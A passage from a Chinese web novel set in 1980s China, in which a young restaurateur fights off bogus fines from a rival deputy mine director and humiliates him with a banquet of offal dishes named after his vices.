那人嗤道:“不挂账?不挂账你开什么饭店?赶紧的,不然小心我让你们这家店开不下去!” 徐和平烦道:“都说了不挂账,你是不是听不懂人话啊?!人家张副矿长都说了挂账不好,你怎么还揪着挂账的事不放!” 听到张副矿长的名头,那人脸上露出古怪表情。 “张副矿长算什么,我告诉你,这可是汪副矿长来让我订席面的!” 徐和平怒从心中起:“我管你什么汪副矿长还是喵副矿长的,说了不行就是不行!妈的,没钱就别摆阔,穷得连饭钱都付不起就回家啃窝窝头去吧!” 那人气得拿手直指徐和平:“好,这可是你说的,你给我等着!” 徐和平呛道:“等着就等着!” 第二天等 来了工商所的人。 第三天等来了税务所的人。 第四天等来了计生办的人。 第五天,第六天,第七天…… 贺明珠皱着眉头看手上的一张格式很不规范的收款凭证,上面写着“计划生育管理费”。 开玩笑,饭店里只有她、二哥、徐和平三条光棍,连贼猫都没媳妇,收什么计划生育管理费啊? 类似的匪夷所思的收费单子还有一摞,要是每个都缴费,她这饭店趁早关门别干了。 幸好她一向按期缴足税费和管理费,不然税务所的罚款都要罚到破产。 徐和平垂头丧气去向贺明珠认罪:“对不住,是我得罪了人,你把我开除吧。” 贺明珠闻言道:“这和你有什么关系,人家要整你,难道会因为你服软就放过了吗?” 贺明军看着这一堆乱七八糟的条子也发愁。 “那怎么办,也不能全都交啊。起码这个噪音罚款就不该我们交,旁边一矿采煤时的爆炸声更大,我们一个小饭店能有多大声音?” 贺明珠拍了板,说:“我去趟区政府。” 贺明军说:“我和你一起去。” 徐和平忙说:“我也去!” 贺明珠拦住他们:“又不是去打群架,你们留着看店,这件事我可以解决。” 但要怎么解决呢? 虽然对着二哥和徐和平说的信誓旦旦,但贺明珠还真不知道这年头行政复议要去找哪个部门。 但她合法开店,依法纳税,主管机关工商所都挑不出毛病,凭什么一些不知所以的家伙要拿着没公章的单子来罚款? 贺明珠下定决心去了区政府的办公楼。 不出所料,各张单子上的机关都是一推二五八,一说都是不知情,一问能不能不交罚款,立刻改口那必须交。 贺明珠楼上楼下跑得脚都麻了,也没找着个管事儿的人。 还有人趾高气扬和她吵:“你们这些个体户总想和国家法律对着干,是社会主义的蛀虫,就该有人管一管。我告诉你,想不交罚款,没门儿!” 贺明珠伶牙俐齿地反击:“个别机关工作人员总戴着有色眼镜看人,不仅没有为人民服务的心胸,而且故意刁难办事群众。这种人,没党性,更没人性。” 在场的办事群众哄堂大笑起来。 这人被气坏了:“你!保安,保安!” 保安气喘吁吁地挤进人群,伸手要拉贺明珠。 “住手!” 一道苍老而威严的声音喝道,接着,一名中山装老者走了过来,批评道: “小黄,你的工作是为办事群众解决问题,不是和群众吵架,更不是刁难群众!” 老者的声音不高,但话说得很重。 小黄低下头,不说话了。 贺明珠看着老者眼熟,一时想不起在哪里见过他。 这时老者又问道:“小同志,你是来办什么事的?” 贺明珠将一大把的罚款条子拿出来,都递给了老者。 “老同志,我家开了一个小饭店,一向遵纪守法,按时纳税。但这几天不断有人找到饭店,自称是机关工作人员,要找我们收罚款。如果这罚款有理有据我们也就认了,但您看,什么噪声罚款、计生管理费都有,而且还不盖公章,我们实在无法接受这样莫名其妙的罚款。” 老者带着眼镜,一张一张仔细看过,眉头皱紧。 “小同志,你放心,政府一定会给你一个说法。你先回去,安心开店,这些罚款先不用交,我们开会研究一下,有结果了会通知你。” 意外之喜,没想到居然会有人出面管这件事,这下看来问题可以解决了。 贺明珠高兴道:“老同志,该怎么称呼您?” 旁边有人嘴快道:“别老同志老同志的叫了,这位是区政府的马书记。” 马书记? 贺明珠两辈子加一块儿都不认识姓马的书记,更别提还是位区委书记。 她从没关心过本地父母官长相名字,这和日常生活离太远,而且过个三年五载的又要换届,根本认不清脸。 但为什么她会觉得这位马书记很眼熟呢? 从区政府办公楼回来后,贺明珠还在苦思冥想她到底在哪儿见过马书记时,贺小弟高高举着一封邮件来找她。 “姐,你的包裹,北京寄来的!” 贺明珠拆开一看,是春晚的猜谜奖品,一个印着“第一届春节联欢晚会”的厚实笔记本,和一只现在最时髦的圆珠笔。 贺小弟兴奋地看着奖品,满屋子的跳,小狗不明所以,也跟着他一起发疯。 “哦哦哦!我们家春晚猜谜全都对啦!” 猜谜? 贺明珠忽然想起什么。 “猜谜……邮局……马……马到成功!” 她想起来了,马书记不就是她在邮局碰到的高瘦老头吗?! 第70章 第70章罚款的前因后果 贺明珠是真没想到,她当时拿“任意四边形”调侃的高瘦老头,居然会是区委书记。 初一那天,贺明珠去给中央电视台寄春晚谜题答案,在邮局遇到一高一矮俩老头。 当时,贺明珠和高瘦老头对春晚猜谜的谜底产生了分歧,各执一词,都觉得自己的答案才是对的。 于是双方决定互出一道谜题来考校对方。 高瘦老头,也就是马书记,出的谜题是“诸葛遣计斩魏延”,贺明珠轻松猜出谜底为“马到成功”。 而贺明珠出的谜题“任意四边形”,马书记却怎么也猜不出来,最后还是老友告诉他答案,那是“不拘一格”。 马书记大受触动,对贺明珠这个小姑娘的记忆非常深刻。 因此,当在办公楼听到有人伶牙俐齿地反驳出言不逊的行政人员时,马书记第一眼就在人群中认出那位“任意四边形”姑娘。 他对这个小姑娘很有好感,知道她不是那种无理取闹的人,便喝住了恼羞成怒叫保安的行政,并上前亲自了解这姑娘是来办什么事的。 小姑娘语言表达能力好,短短几句话,就让他知道了原来是小姑娘开了一家个体户饭店,现在被某些机关单位故意针对,乱罚款乱收费,她是来政府告状的。 马书记翻看罚款凭证时,越看越离谱,格式不对没公章,合着这不是有理有据的罚款,而是耍赖硬要钱。 马书记收了罚款单子,让小姑娘先离开,他来处理这件事。 那个摆脸色的行政人员在被他批评时,不服气地辩解:“我们是社会主义国家,这种资本主义的个体户是在挖国家的墙角,他们就是蛀虫,我没说错!” 听到这话,马书记忽然在脑海中浮现起一句诗—— 我劝天公重抖擞,不拘一格降人才。 现在天公已经重抖擞了,施行起了改革开放的政策。可有的人,却还拘泥在过去的条条框框中。 不拘一格,说起来容易,做起来难啊。 但他必须要迎难直上,这样才对得起这个职位,对得起肩担的责任 八十年代是一个充满了动荡的混沌时刻,有人忘记了初心,两只眼掉进钱里,能多捞就多捞,坚决秉持路易十五观念,也就是“我退休后哪管洪水滔天”。 也有人还坚持原则,即使在大环境中看起来如此突兀老套,但依旧保持着一颗为人民服务的闪闪红星。 贺明珠虽然遇到了前者,但也遇到了后者,这才没让煤矿人家这颗才萌芽的幼苗被扼杀在花盆里。 有人想连根拔起幼苗,就有人愿意伸手,为这颗小苗挡一挡酷烈的寒风。 贺明珠直觉中认为马书记是那种会伸手挡掉歪风邪气的人,但她不能确定的是,这只手到底什么时候才会伸出来? 无论如何,饭店生意总要照做。 这天晚上,煤矿人家打烊后,贺明军、徐和平清扫卫生,以便第二天来了就能开门营业;贺明珠则站在小黑板前,按照目前的库存,将新定的菜单写了 上去。 突然,“哐”的一声响,有人不客气地推门直入。 徐和平正对着门拖地,没抬头,下意识来一句:“不好意思已经打烊了,明天再来……” 来人粗鲁地打断了他的话:“汪矿长要订宴席,明天中午就要,你们马上准备起来!” 徐和平一抬眼,见对方是那个三番五次说要挂账订宴席,还威胁说让他等着的家伙。 新仇旧恨一时齐齐涌上来,徐和平也不拖地了,握着拖把往身边一立,像是拿上了红缨长枪。 “准备个屁!汪矿长算老几,就算天王老子来了,吃饭也得付钱!” 来人指着徐和平鼻子说:“我不和下三滥的服务员说话,把你们老板叫出来!这两天教训还没吃够吗?!” 徐和平虽然猜到接二连三上门罚款的事儿是这家伙搞的鬼,但没想到他威胁人还挺理直气壮,搞得好像他成了被饭店宰客的受害人。 徐和平气得不行,单手抓起拖把,湿淋淋的拖把头对准了来人。 “吃教训?我倒要看看,到底是谁要吃教训!” 贺明珠走过来,上下打量一遍,平静地说:“我就是老板,有何指教?” 来人还挺嚣张:“这两天被罚的爽不爽?是不是没想到开个小饭馆会有这么多部门来罚款啊?” 他猛然变脸,凶恶道:“我告诉你,你要是不听我的,以后你有的是罚款要交!” 贺明军也出来了,他穿着围裙,拿着一把厚重的斩骨刀,二话不说,把刀往桌子上一甩,冷冰冰地盯着来人。 “就是你让人上门罚款的?” 他就这么随手一甩,斩骨刀的刀刃深深扎进了厚实的木桌中,在没有任何外力的情况下,保持着刀身竖立的姿势。 来人一看情况不对,赶忙就近拖过一只凳子挡在身前。 “我警告你们不要乱来啊!敢乱来的话,我可就不客气了!” 他色厉内荏,一边说话,一边拉着凳子往后退。 白天也没看出来这家小饭店的厨师和服务员这么不好惹的,怎么说打人就要打人的? 来人不知道,这俩都是摸爬滚打混社会的,实打实的拼过命见过血,是真敢下手。 他这种仗势欺人的小流氓,在耍狠上压根和贺、徐二人没法比。 他们是真狠,他是虚狠。 要不是贺明军护妹心切、徐和平馋虫入脑,煤矿人家这汪小池塘根本困不住他们俩,早就回去混社会,继续搅风搅雨了。 徐和平拎着拖把,把贺明军往旁边挤一挤,说:“哥,我来。” 贺明军不肯让:“我先。” 徐和平抱怨:“要让你先了,我连下手的机会都没有。不行,还得是我来。” 贺明军思考片刻:“给你留一条腿。” 徐和平讨价还价:“加一条胳膊!” 贺明军颔首:“成交。” 贺明珠插一句:“那我呢?” 贺明军还真思考了一下:“给你个脑袋当球踢去吧。” 这仨人就当着他的面分猪肉似的分他,来人几乎崩溃,举着凳子的手都在颤抖。 忽然,他头顶传来一阵低沉的猫叫声,不是平时的喵喵喵,而是嘶哑暴躁的呜声,尾调拉得长,呜得人浑身发毛。 来人抬头开去,只见大梁上蹲了只奇大无比的猫,一双猫眼绿油油闪着光,背毛奓起,浑身绷紧,作攻击状。 见他看上来,大猫呲牙哈气,露出四颗尖锐无比的巨大犬齿。 而眼前,贺明军反手握住刀把,猛一用力,将斩骨刀从桌面上拔下来,刀锋时常打磨,在光下闪出锋利的刀刃。 一张英俊面孔露出血腥神色。 “我要的不多。” 他说,“就留你一条腿吧。” 来人想跑,腿抖得像筛子,再不见之前那副耀武扬威的模样。 “我错了我错了,这都是汪副矿长让我做的,冤有头债有主,你们找他别打我……” 形势不利,来人秒速滑跪,立刻就把汪副矿长供了出来。 徐和平嗤了一声:“当谁不知道是他啊,你说这有什么用?有本事说点我们不知道的。” 来人赶紧又说:“汪副矿长以前是革|委会主,他找以前的老关系整你们,那些人也想搞点钱填填腰包,所以汪副矿长一说他们就答应了。” 贺明珠问他:“汪副矿长为什么盯着我这家小饭店不放?” 来人说:“汪副矿长和张副矿长不对付,两个人都想当矿长。你们把张副矿长管的三产饭店搞得这么好,汪副矿长快气死了,当然要想办法整倒你们,不搞倒你们,这饭店在一天,张副矿长就能出一天风头,汪副矿长还怎么转正当矿长?” 贺明珠又问:“既然要搞倒饭店,那他为什么又要坚持订宴席?” 来人小声嘀咕:“谁让你们家的饭好吃得都传到汪副矿长耳朵里了……” 贺明军没听清,不耐烦地将刀砍在桌上。 “说话大点声!” 来人哆嗦了一下,倒豆子似的快速说道:“汪副矿长想让全矿的领导都在煤矿人家挂账,这样就算罚款整不倒你们,吃白饭也能吃垮你们。而且张副矿长越是不让挂账,就越得罪其他领导,以后就没人支持他当矿长了……” 这下事情前因后果都理清楚了。 原来是鹬蚌相争,殃及池鱼,煤矿人家成了张、汪两位副矿长权力斗争的牺牲品。 来人苦着脸:“我知道的都告诉你们了,能让我走了吗?” 贺明军收起刀,只说了一句:“滚吧。” 来人如蒙大赦,忙不迭地就要跑,却又被贺明珠拦住了。 “等等,你回去了要怎么和汪副矿长交代?” 来人哭似的扯扯嘴角:“就说你们还是不同意……” “不对。” 贺明珠止住了他的话,慢条斯理地说: “你要说,煤矿人家的店长被罚款吓坏了,吃够了教训,只要能不交罚款,什么都肯同意。别说是宴席了,满汉全席都可以,让他明天中午来饭店等着吃席吧。” 来人不明白她什么意思,但只想尽快逃离这家人肉饭店,就鹦鹉学舌般的重复了一遍,这才得到贺明珠的首肯离开了。 徐和平不解:“那个姓汪的都故意整你了,你怎么还让他来店里摆宴啊?” 贺明珠不回答,只笑眯眯说一句:“我教你一句话,君子报仇十年不晚,小人报仇从早到晚——要知道,我可不是什么君子。” 听了这话,徐和平只觉浑身汗毛倒竖。 不知道为什么,他现在忽然有些同情那个汪副矿长了。【你现在阅读的是魔蝎小说 moxiexs】 70-80 第71章 第71章杂碎宴 第二天中午,汪副矿长准时来到了煤矿人家。 他身边前呼后拥着一群人,都是在这场副矿长之争中支持汪副矿长的一矿中层领导。 此时他们一边围在汪副矿长身边,一边争先恐后地吹捧道: “汪矿长大气,请大家伙儿来饭店吃饭,我看下一任矿长一定是汪矿长!” “还是汪矿长体恤我们工作辛苦,特意带我们出来吃顿好的,食堂的饭我早就吃腻了,这回终于有机会吃顿大餐!” “汪矿长这才是做领导的样子,哪像某些人,为了自己的名声,把大家伙儿都坑进去了,还说什么不挂账,好像显得全一矿就他一个好人似的。” “要我说,有些人是自己吃肉,还不给别人喝汤,好处都揣自家腰包了,生怕别人占他一点便宜。不像我们汪矿长,不仅自己吃肉,还要带着大伙儿一起吃,这才是我们需要的好矿长!” “哈哈哈哈,说得就是,跟着汪副矿长有肉吃!” 听着这些话,汪副矿长的胖脸上露出志得意满的笑容。 看看,群众们的眼光是雪亮的! 张副矿长把着三产饭店不放,打着出租的旗号,象征性收一点租金,把单位的房子租给了个体户。 他和开饭店的贺家人无亲无故的,凭什么要租给他们?要说这里面他没拿好处,谁信? 最可气的是,这个体户的小饭店还开得挺红火,众人交口称赞,就连西煤矿务局的人在吃过一次宴席后都改口了,再不提什么卤耗子,搞得人们都快忘了耗子饭店的老名头。 凭着这次宴席,张副矿长可是在一矿大大的出了次风头! 都是一矿的领导,凭什么好事都让他占了,风头都让他出了? 不过幸好,张副矿长这个人眼皮子浅,做人还抠搜,自己从煤矿人家这个聚宝盆里捞钱就算了,还捂着盆子,生怕让别人也沾上了光。 说什么“挂账不好”,啊呸!张副矿长也配说这话,不管是以前的三产饭店,还是现在的国营饭店,他老小子哪次少挂账了? 说到底,张副矿长不 就是怕一矿的大小领导吃饭不付钱,影响了饭店的利润吗? 那汪副矿长偏偏就要反其道而行之。 不让挂账是吧,那我偏要让煤矿人家的老板亲自在众人面前松口挂账的事! 他熟门熟路地找老关系去整这家小饭店,几张罚款单子开出来,原本还嘴挺硬的贺家人被吓坏了,马上就改口服软, 只要这道口子一开,他就不信没人会放着眼前的便宜不去占。 汪副矿长倒要看看,这家个体户小饭店能坚持多久? 那个被派去吓唬贺家人的小混混,回来告诉汪副矿长,只要不继续整这家饭店,不让他们交罚款,别说是挂账了,让贺家人干啥都行。 汪副矿长听了这话满意极了。 哼,这种工人家庭也就这么一回事儿,别看饭做得不赖,真遇上事儿了,跪得比谁都快。 汪副矿长带着一群跟班,雄赳赳气昂昂,跨进煤矿人家。 他生得胖,走几步路就气喘吁吁,两条粗腿走起路来一摇一摆,像只肥鸭子。 其他人不敢走快越过汪副矿长,也只好跟在后面磨磨蹭蹭挪步子,像一群鸭子。 进了煤矿人家,店里面吃饭的人不少,大都是一矿的职工。 忽然浩浩荡荡地进来这么一群大小领导,店内原本喧闹的气氛一静,像是按了静止键。 下一刻,有人站起身打招呼,有人低下头假装没看见,还有人狐疑地看着这群人,这帮当官的来这干什么? 汪副矿长站在店中央,左右看看,不满意地皱起眉头:“服务员呢?” 其他人赶忙跟着喊:“服务员!服务员!”还有人满饭店地去找人。 穿着白色工作服的服务员不情不愿地走过来:“喊什么喊,没吃过饭啊?自己找桌子坐啊,喊我有什么用?” 汪副矿长很不满,贺家人这是服软的态度吗? “服务员,你怎么说话的!我们是订了宴席的!” 服务员还是一副死猪不怕开水烫的惫懒德行,翻了个白眼。 “我就这么说话的,不服气你别吃,反正饭店也不是我家开的,爱吃不吃,爱来不来,随你便。” 听了他这话,汪副矿长反而不生气了。 他还以为这是贺家人呢,原来就是个打工的,是和国营饭店的服务员一个臭德行。 汪副矿长不生气,其他人反而争着替他生气:“哪那么多废话?赶紧把我们带过去!” 服务员从鼻子哼了一声,把众人带到屏风隔出的小隔间里。 汪副矿长当仁不让坐了主位,小领导们按着职位高低依次落座。 等菜的这段时间,桌上众人对着汪副矿长又是一顿吹捧,马屁拍得噼啪作响,直拍得汪副矿长满面红光。 不多时,服务员端着第一盘菜上来了。 这菜看着新奇,盘子上放了一只椭圆形的球状物,外白内棕,轻轻一晃,里面的汤汁也跟着晃。 众人还是第一次见识这种菜,连怎么吃都不知道,围着菜啧啧称奇。 有人拿筷子戳了一下外面那层半透明肉膜,韧性十足,无法轻易戳破。 汪副矿长问服务员:“这是什么菜?” 服务员这会儿来了精神,说:“看不出来吧?这可是我们老板的独门绝技,一般人根本尝不着,也就是你今天来了,老板才费心做这道菜。” 汪副矿长一听这话,倍觉面上有光,心里不由暗赞贺家人识趣。 桌上其他人很懂,立刻吹捧起汪副矿长。 “哎呀,还得是汪矿长,要不然我们哪有这口福!” “这家店老板还算懂事儿,知道汪矿长是贵客,不能随便对待。” “要我说,那谁肯定没吃过,他算哪根葱,谁搭理他啊?” 汪副矿长听得嘴角不住上扬,笑呵呵地说:“行啦行啦,吃饭,都吃饭。” 但这层白膜要怎么去掉? 服务员拿了把刀过来,递给汪副矿长,示意汪副矿长切开。 汪副矿长站起来,拿起刀,在白膜上划了一下,没切开。 他一愣,不死心,又用力拿刀尖扎进去,这下力气使大了,白膜被切开的同时,一股汤汁被挤了出来,不偏不倚溅到汪副矿长的衬衣上。 众人一愣,忙拿毛巾凑上去帮忙擦,一时间汪副矿长身上七手八脚的,不知道的还以为在玩什么糟糕play。 “都别擦了!” 汪副矿长气呼呼地坐下,想发火,鼻子端却传来一股浓烈的卤香,一下就把他的火气给浇灭了。 他低头一看,是衬衣上的污渍传来的气味。 再抬头看去,盘中的球体在白膜被切开后,露出了里面的菜,色泽棕亮,味道诱人,散发着极致的食欲诱惑。 汪副矿长咽下口水,说了句“吃吧吃吧!”也不管别人怎么想,率先举起筷子,目标直指盘中菜。 甫一入口,香浓卤汁裹住舌尖,咸香醇厚,再嚼一嚼,口感爽脆有弹性,越吃越想吃。 汪副矿长这会儿也吃出来了,这是卤鸡肠。 鸡杂是杀鸡的下脚料,便宜得很,五毛钱能买一大桶。 但这玩意不好做,洗起来麻烦,还腥味重,要下香料去压味道,但香料可比鸡肠贵多了,不划算,因此做的人寥寥无几。 汪副矿长心里不满意贺家人拿鸡肠这种便宜货来糊弄他,但这道卤鸡肠实在太美味,而且外面包着的那一层肉膜,切成小块后沾卤汁吃,筋道有嚼劲,和爽脆鸡肠形成鲜明对比。 一道菜里包含了两种口感,汪副矿长吃得也不能说不满意。 他在吃上一向挑剔,菜要吃最新鲜的,肉要吃最肥的,做饭的厨子要手艺最好的。 这才能在人们普遍偏瘦的八十年代,把自己吃成一头直立行走的猪。 汪副矿长埋头猛吃,其他人馋的直咽口水,但不敢和他抢菜,夹一块鸡肠嚼半天,心想下次他们也要来煤矿人家点这道菜,不付钱只挂账的那种。 一盘卤鸡肠被吃得干净,盘底就剩下一点汤汁。 服务员端着下一道菜进来,没收空盘子,就任它那么摆着。 桌上众人也顾不得拿这点小事做文章了,因为他们这会儿已经闻到了浓郁的辣味。 爆辣肥肠摆在桌上,又是汪副矿长率先去夹。 其他人这次长心眼了,依旧不敢多夹,但特意挑了盘子里最大块的肥肠去夹,等汪副矿长再去夹时,盘中只剩大堆的辣椒和零零碎碎的小块肥肠了。 他一愣,左右看看,其他人筷子上碗里都只有一块肥肠。 奇了怪了,肥肠呢? 汪副矿长忙将盘子里剩下的肥肠往自己碗里扒拉,其他人余光悄悄瞄到,又遗憾又郁闷。 这道爆辣肥肠舍得下辣椒,丰腴滑嫩的肥肠被辣椒腌入味,吃起来那叫一个又香又辣。 乌城人吃辣少,忽然遇上爆辣口味,那叫一个溃不成军,第一口就逼得眼圈红,接着头顶上开始冒蒸汽,鼻涕眼泪哗啦啦地往下流。 可偏偏太好吃,嘴唇都被辣成香肠嘴了,一边猛灌凉水,一边还要吃。 太好吃了,原来吃辣这么爽,下次他们要单点一份爆辣肥肠,谁都不给分! 再下一道菜是煎猪心猪肺。 猪肺组织结构松散,吃起来像肉又不像肉,口感软趴趴的,冷不丁中间还能咬到硬质的支气管。 有人因此讨厌猪肺,觉得像在吃腐烂的肉。 不过今天桌上的人,不管之前猪肺是不是在忌口食物名单上,但从此刻开始,猪肺就是他们的挚爱! 猪肺被煎得双面金黄,最大程度烤干了其中的水分,同猪心一道盛盘时,色泽油润焦黑,口感香脆微硬,吃起来让人满足极了。 直到吃完第三盘菜,在等下一道菜的间歇中,看着桌上的三个空盘子,汪副矿长的脑子暂时清醒,忽然意识到:“怎么上了三盘内脏?” 先是鸡肠,然后是猪大肠,又是猪心猪肺。 贺家人什么意思,知道这桌宴席要挂账,故意拿不值钱的下水打发人呢?! 想到这里,之前因为美食而带来的 好心情一扫而空,汪副矿长的胖脸一寒,正要发火,服务员端着第四道菜进来了。 汪副矿长才要发难,却看到盘中盛放的是棒骨,他的怒气一滞,缓缓消散,但还是呵斥一句: “怎么上了三道下水菜?!” 服务员不耐烦地看他一眼:“有什么好大惊小怪的,菜做得有快有慢,先出锅的就先端出来了呗,哪儿那么多事儿,吃你的不就完了。” 汪副矿长被噎得没话说,余光扫到棒骨被一劈两半,横截面上的骨髓颤颤悠悠的往下淌。 他的火气一下子全飞走了,大手一挥:“吃,都吃!” 话音未落,先给自己挑了个最大根的棒骨。 棒骨上没什么肉,只有贴着骨头的薄薄一层。但这层肉却是最好吃的,滑而韧,充满弹性,牙齿一咬,整条从骨头上扯下来,塞满整个口腔,大嚼特嚼,那才叫一个痛快。 吃完了骨边肉再去吸骨髓,晶莹的乳白色,富含油脂,让人吃起来软糯饱足。 这会儿谁也顾不上斯文了,呲着牙将一根骨头细细地从头啃到尾,再吸溜一口骨髓,一盘棒骨啃得在场众人满手满脸都是油。 棒骨的余味还在口中回荡,下一道菜又端了上来。 粉嘟嘟的扣肉含羞带怯地向众人招手,还没等摆到桌子上,汪副矿长第一个下手,一筷子夹掉半盘子。 其他人敢怒不敢言,纷纷加快速度,几双筷子在盘中打起了架。 汪副矿长将扣肉塞进口中,只觉异常肥美丰腴,连国营饭店都没有这样的美味。 奇异的是,这盘扣肉糯中带脆,肥瘦混杂,和他之前吃过的全然软糯的扣肉完全不同。 这个念头只在汪副矿长的脑海中一闪而过,就随着下一块香肥扣肉的入口,而被抛之脑后。 众人吃得满足,但连着几道大荤,却又从满意中生出一点不满。 这么多肉菜,后厨就没有准备爽口的素菜吗? 说曹操曹操到,服务员端着两盘子菜进来。 乍一看,一盘是深棕配墨绿,另一盘是浅绿配红丝。 这菜看着眼生,没见过也没吃过,连原材料是什么都看不出来。 服务员照例不多话,放下盘子就要走。 有人拦了一下,问他:“这是什么菜?” 服务员爱搭不理:“不知道,反正能吃,问那么多干嘛?” 这人悻悻转回桌子,再一看,其他人已经都吃上了,他急忙抓起筷子就夹。 深棕配墨绿的那盘凑近了看才发现是不知道什么的碎末炒酸菜,少少挖一勺子尝味,入口是浓郁豆香,接着是酸菜的酸香爽口。 原来那深棕色的碎末是炒熟的豆腐,也不知道厨师怎么做的,能将白豆腐炒成深棕色。 浅绿配红丝是不知道什么的蔬菜炒辣椒,入口清爽微辣,咬下去还有点硬。 这次没吃出来是什么菜,众人你一言我一语地猜: “黄瓜丝?” “不像,是西葫芦吧。” “西葫芦没这么硬,我尝着像冬瓜。” “冬瓜难道不比西葫芦软吗?” 谁也猜不出来,但手下动作都不慢,将两盘菜夹得七七八八。 最后一道菜是萝卜炖猪皮。 猪皮上没有一丝油,切宽块下锅翻炒,七成熟时加水与萝卜同炖。 这道萝卜炖猪皮半是菜半是汤,猪皮里的胶原蛋白都被熬了出来,汤汁浓郁粘稠。萝卜香甜软糯,筷子几乎都夹不起来,入口即化。 在场众人各自分了一碗汤,连猪皮带萝卜,唏哩呼噜喝到嘴里。 要不是实在吃不下更多,只怕这一盆汤都不够分。 汪副矿长吃得最多,谁也不敢和他抢,顶多捞点他不吃的残羹剩饭。 这会儿汪副矿长像座肉山般瘫在椅子上,浑身肥肉四处流淌,嘴边吃的油流到了双下巴上,看着半张脸都是油渍,邋遢极了。 这会儿饭吃到嗓子眼,稍微一动就要吐出来 他却很满意,胃里心里都满足。 这一桌宴席还不能证明贺家人服软吗? 不过他倒是对贺家有了新打算,这么好的手艺,留在张副矿长手下就太浪费了。 不如他也整个饭店,让他们到新饭店当厨师,既方便他平时吃喝,又方便捏着这个聚宝盆赚钱,可以说是一举两得了。 因此,当贺家小姑娘进来时,汪副矿长难得露出和蔼神色,勉励道:“做的不错,下回再接再厉。” 还下回? 陪着贺明珠进来的徐和平古怪地看了汪副矿长一眼。 汪副矿长不明白这一眼的含义,只觉得里面似乎包含了嫌恶、同情、怜悯等多样的复杂情感,让人匪夷所思的同时又头皮发麻。 这个服务员怜悯他??? 汪副矿长脑子都快转不动了。 一个在个体户饭店干活的小服务员,居然怜悯他这个大矿的副矿长?! 汪副矿长本能地骂道:“谁让你这么看我的!” 徐和平嗤了一声,没骂人,反而转开了视线。 这下更不对劲了。 没等汪副矿长想明白,贺明珠笑容可掬地说:“各位,今天的饭用的怎么样,还合胃口吗?” 汪副矿长傲慢地说:“还不错,你想说什么?” 贺明珠拿出张单子,举到汪副矿长面前,说:“既然不错,那就把账结一下吧,一共是三块一毛七分钱。” 还敢和他要饭钱?! 汪副矿长从鼻子里出气,大觉丢面子,喝道:“结什么账!说了挂账挂账,你听不懂人话吗?!” 脱口而出这一句,他忽然又察觉什么不对,立刻反问:“三块一毛七分钱?你是说这一桌才吃了三块一毛七?” 今天吃饭的有七个人,平均下来,一人才吃了五毛钱多。 但这一桌子可是上了八道菜,六荤二素的八道菜! 贺明珠笑容不改:“对啊,很便宜吧,都这么物美价廉了,您就别挂账了,付现金呗。” 汪副矿长这会儿脑子混乱极了,一会儿是饭钱这么便宜是贺家在奉承他?一会儿又是贺家人服软是假的,他们居然还敢朝他要饭钱! 混乱中,汪副矿长抓住他今天来这儿的本意。 “不付钱,挂账,必须挂账!” 贺明珠说:“账是挂不了,不过我可以给您讲解一下今天上的这些菜。” 她语调轻快,指着桌子上一个又一个的空盘子。 “这菜的原材料是猪膀胱和鸡肠子,哦对了,猪膀胱别名猪小肚,所以这道就叫‘小肚鸡肠’。” 说的是第一道菜,猪小肚包卤鸡肠。 桌上的人没反应过来,还在想这名字倒是别致,还挺有意思的。 “这道用了最辣的辣椒,辣得吃起来蛰嘴,就像被蛇咬了一口,所以这道菜名字是‘蛇蝎心肠’。” 说的是第二道菜,爆辣肥肠。 有人开始反应过来了,不安地拿眼睛去看汪副矿长。 “这个是猪心和猪肺,猪心变色发黑,猪肺质地软烂,所以名字就是‘黑心烂肺’吧。” 说的是第三道菜,煎猪心猪肺。 这下大部分人都意识到了什么,原本瘫软的坐姿都坐正了些,隔间里一片死寂。 “这道是剔掉肉后把棒骨从中打折,以方便吃到骨髓,所以就叫‘敲骨吸髓’。” 贺明珠像是什么也没察觉,依旧笑眯眯地介绍着。 “这道用的是猪脸上的猪皮,特地挑选了没长牙的猪,所以嘛,就叫‘厚颜无耻’好了。” 小肚鸡肠,蛇蝎心肠,黑心烂肺,敲骨吸髓,厚颜无耻。 一串菜名说下来,就算汪副矿长是个傻的,这会儿也听明白是什么意思了。 原本以为是贺家人服软的赔罪宴,竟然成了一场羞辱他的鸿门宴! 汪副矿长暴怒,大吼:“闭嘴,你给我闭嘴!” 贺明珠却面色不变,说:“我还没介绍完呢,您这会儿插话可够不礼貌的。” 她语速加快,像蹦豆子似的蹦出来一串话: “这个是豆腐渣炒酸菜,这个是清炒冬瓜皮,还有扣肉用的是肉联厂不要的血脖槽头肉——您是不是不知道什么血脖啊,就是杀猪下刀的那块肉,有淋巴和腺体,通常不建议吃,但您这请客吃饭都要打白条,我们也只好努力压缩成本了。” 贺明珠笑得眉眼弯弯,总结道: “今天这一桌子饭,用的不是下水,就是下脚料,我愿称之为‘杂碎宴’。不过嘛,杂碎就要吃杂碎席,只有做个顶天立地的人,才有资格吃人饭,与诸君共勉。” 汪副矿长听了如遭雷劈。 豆渣是做豆腐时剩下的残渣,冬瓜皮是废弃的厨余垃圾,而他最爱的扣肉,是用狗都不吃的血脖做的。 汪副矿长只觉胃中一阵翻涌,嗓子眼里的食物再也压不下去,哇地一声就全吐在了身上! 第72章 第72章挂账彻底终结 汪副矿长从未受过如此奇耻大辱! 之前吃得有多香,现在就有多愤怒。 而且因为吃得实在是太香了,别人不敢和他抢,一多半的菜都进了他的肚里。 饭桌上数汪副矿长吃得最多,其他人只能捡点他不要的边角料。 他这人性子霸道,爱吃独食,但凡有人敢多夹两筷子,直拿眼睛瞪人家,逼得对方讪讪放下筷子才算完。 也因此,汪副矿长成了这场杂碎宴的最大杂碎。 “你怎么敢拿这种东西给我吃!” 汪副矿长暴怒地指着贺明珠,一张胖脸涨得通红,整个人被气到要发疯。 从来没有人敢这样作弄,这样羞辱他! 一想到自己之前居然对一桌子的杂碎爱不释手,把别人不要的下脚料当宝,汪副矿长的肚子就翻江倒海起来,吐得连肠子都要翻过来。 他一向在一矿横行霸道惯了,文g的时候欺男霸女,谁敢得罪他,他就给人家盖个反坏右敌特的帽子上去,游街批斗抄家上私刑,别提有多肆意妄为,赚得那叫一个盆满钵满,吃得那叫一个脑满肠肥。 粉碎4人帮后,汪副矿长怕被清算,着实低调了一阵子,这才让张副矿长趁机出头,和他争夺矿长之位。 过了几年,见风头过去,汪副矿长这才又慢慢抖起来,和张副矿长打起了擂台。 但重新复出,没有了之前的声势,许多人记恨汪副矿长之前文g所为,对他是当面一套背后一套,有的人甚至当面都不给他好脸色。 当领导的最怕得势后又失势,全身都变敏感肌,又卑又亢,一个眼神不对,都得回家琢磨好几天。 汪副矿长也不例外。 